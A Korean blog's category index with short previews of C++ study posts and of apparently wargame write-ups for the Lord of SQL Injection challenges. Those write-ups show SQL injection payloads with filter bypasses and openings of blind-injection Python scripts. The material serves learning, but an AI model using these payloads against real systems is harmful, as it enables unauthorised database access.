분류 전체보기

Employee 하위 클래스로, PermanentWorker, TemporaryWorker, 등을 생성해EmployeeHandler로 관리를 해봄. - 열혈C++ 속의 문제라고 하는데, 구현을 해봄. 다형성, 상속, virtual function 모두 사용. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293#include #include using namespace std; class Employee { protected : char nam..

1. Default Copy Creator로는 메모리주소가 중복되는 얕은복사가 잦게 일어난다.12345678910111213141516171819202122232425262728293031#include using namespace std; class Dog { private : int Dognum; public : ~Dog() { cout

* 연산자는 함수이다. RET을 가진다는 의미이기도 하고, Overloading이 가능하다는 의미다.* const를 함수 정의시 맨 뒤에 붙이면(1번 코드 참조) - 멤버 변수의 값을 수정하지 않겠다는 의미.-> 사용 의미는 const형 Obj에서 저러한 Method들을 부를 수 있다.* opetator+ 연산자 오버로딩의 경우, const를 맨 앞에 자료형 대신 붙인것을 볼 수 있는데, 이렇게 하면 const를 붙인 Member들을 부를 수 있다는 의미. => PrintIntNum() 호출 가능.- void print() { } 가 있다면, const Obj에선 호출이 불가능함을 의미한다.(실제로 에러가 발생) 1. Method로 Overloading 구현.1234567891011121314151617..

* Template 사용 함수보다, 일반 함수가 우선권을 갖는다(동일 명칭이라면 즉, Overloading 된 것이라면)1. Stack 구현을 통한 Generic Class 선언.template 를 선언함으로,MyStack 객체 생성시 , , 따위 지정가능. 1-1. char 예시.12345678910111213141516171819202122232425262728#include #define Su 15using namespace std;template class MyStack {public: T List[Su] = {0,}; void PUSH(T arr[], int Index) { for(int i = 0; i

서론 NULL 진행과정 %0a를 통한 줄바꿈을 해야된다. 줄바꿈 키워드는 %0a id에서 필터링이 들어가기 때문에(#처리)pw=%0aand pw=1 or id='admin # REF NULL

서론 NULL 진행과정 16진수를 이용해서 Blind SQLi를 코딩하라. '가 필터가 안되어 있으므로 페이로드는 쉽다.?pw='||id='admin'%231234567891011121314151617import httplib conn = httplib.HTTPConnection("los.eagle-jump.org")Header = {"Cookie":"PHPSESSID=j91p2m9f3ocbt34c23dhno72i0"} url = "/xavis_fd4389515d6540477114ec3c79623afe.php?pw=" for i in range(1, 11) : for j in range(160, 256) : payload = "'||id='admin' and mid(pw, {0}, 1)={1}%23".f..

서론 NULL 진행과정 SQL에서 문자열은 0을 의미한다. 세미콜론 뒤 NULL(%00)을 넣어주면 주석처리가 된다. (단, 전제조건은 magic_quotes_gpc =off)?pw=%27)=0;%00 # REF NULL

서론 NULL 진행과정 \' = '라는걸 이용 escape sequence를 이용하는 방법이다.?id=admin\&pw=||1=1%23 # REF NULL

서론 NULL 진행과정 %00을 이용해 해결.?id=admin&pw=%00' ||1='1 # REF NULL

서론 NULL 진행과정 %를 이용한 SQL에서의 정규표현식을 이용하면 풀 수 있다.?pw=832% # REF NULL

서론 NULL 진행과정 shit인자를 받는데, shit 인자의 길이는 1이하여야만 한다. 공백문자로 처리가능 %0a, %00 등은 필터링 되지만 %0b는 가능?shit=%0b # REF NULL

서론 NULL 진행과정 like를 막았지만 in이 남아잇다. 문법 : 인자 in ("값")?no=1%0a||id%0ain%0a("admin")1234567891011121314151617import urllib, httplib conn = httplib.HTTPConnection("los.eagle-jump.org")url = "/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1"Headers = {"Cookie":"PHPSESSID=shkfbb2civ1bvup6htng6k9ln4"}PW = "" for i in range(1, 9) : for j in range(48, 128) : payload ='%0a||id%0ain%0a("admin")%0a%26%26%0a..